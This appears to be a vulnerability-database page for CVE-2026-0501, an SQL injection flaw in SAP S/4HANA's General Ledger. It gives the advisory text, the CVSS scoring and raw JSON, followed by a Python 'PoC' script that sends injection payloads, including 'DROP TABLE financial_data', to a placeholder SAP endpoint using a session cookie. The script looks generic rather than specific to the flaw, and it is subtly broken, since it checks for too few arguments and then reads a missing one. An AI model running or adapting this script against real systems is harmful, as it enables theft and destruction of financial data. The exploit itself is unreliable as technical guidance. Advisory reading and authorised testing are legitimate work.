Security Vulnerability Report
中文
CVE-2026-0501 CVSS 9.9 CRITICAL

CVE-2026-0501

Published: 2026-01-13 02:15:53
Last Modified: 2026-04-15 00:35:42

Description

Due to insufficient input validation in SAP S/4HANA Private Cloud and On-Premise (Financials General Ledger), an authenticated user could execute crafted SQL queries to read, modify, and delete backend database data. This leads to a high impact on the confidentiality, integrity, and availability of the application.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SAP S/4HANA Private Cloud 所有版本
SAP S/4HANA On-Premise (Financials General Ledger) 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-0501 SQL Injection PoC for SAP S/4HANA # Target: SAP S/4HANA Financials General Ledger TARGET_URL = "https://<sap-host>/sap/fi/gl/entry" AUTH_COOKIE = "<session-cookie>" # SQL Injection payloads PAYLOADS = [ "' OR '1'='1", "'; SELECT * FROM users;--", "' UNION SELECT NULL,NULL,NULL,NULL,NULL FROM DUAL--", "'; DROP TABLE financial_data;--" ] def exploit(target_url, cookie, payload): """Execute SQL injection attack""" headers = { 'Cookie': f'sap-usercontext={cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } data = { 'account_id': payload, 'fiscal_year': '2024', 'document_type': 'SA' } try: response = requests.post(target_url, headers=headers, data=data, verify=False, timeout=30) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve_2026_0501_poc.py <target-url> <cookie>") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print(f"[*] Testing CVE-2026-0501 on {target}") for i, payload in enumerate(PAYLOADS, 1): print(f"\n[+] Payload {i}: {payload}") result = exploit(target, cookie, payload) print(f"[Response] {result[:200]}...") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0501", "sourceIdentifier": "[email protected]", "published": "2026-01-13T02:15:52.797", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to insufficient input validation in SAP S/4HANA Private Cloud and On-Premise (Financials General Ledger), an authenticated user could execute crafted SQL queries to read, modify, and delete backend database data. This leads to a high impact on the confidentiality, integrity, and availability of the application."}, {"lang": "es", "value": "Debido a una validación de entrada insuficiente en SAP S/4HANA Private Cloud y On-Premise (Financials General Ledger), un usuario autenticado podría ejecutar consultas SQL manipuladas para leer, modificar y eliminar datos de la base de datos de backend. Esto conlleva un alto impacto en la confidencialidad, integridad y disponibilidad de la aplicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://me.sap.com/notes/3687749", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}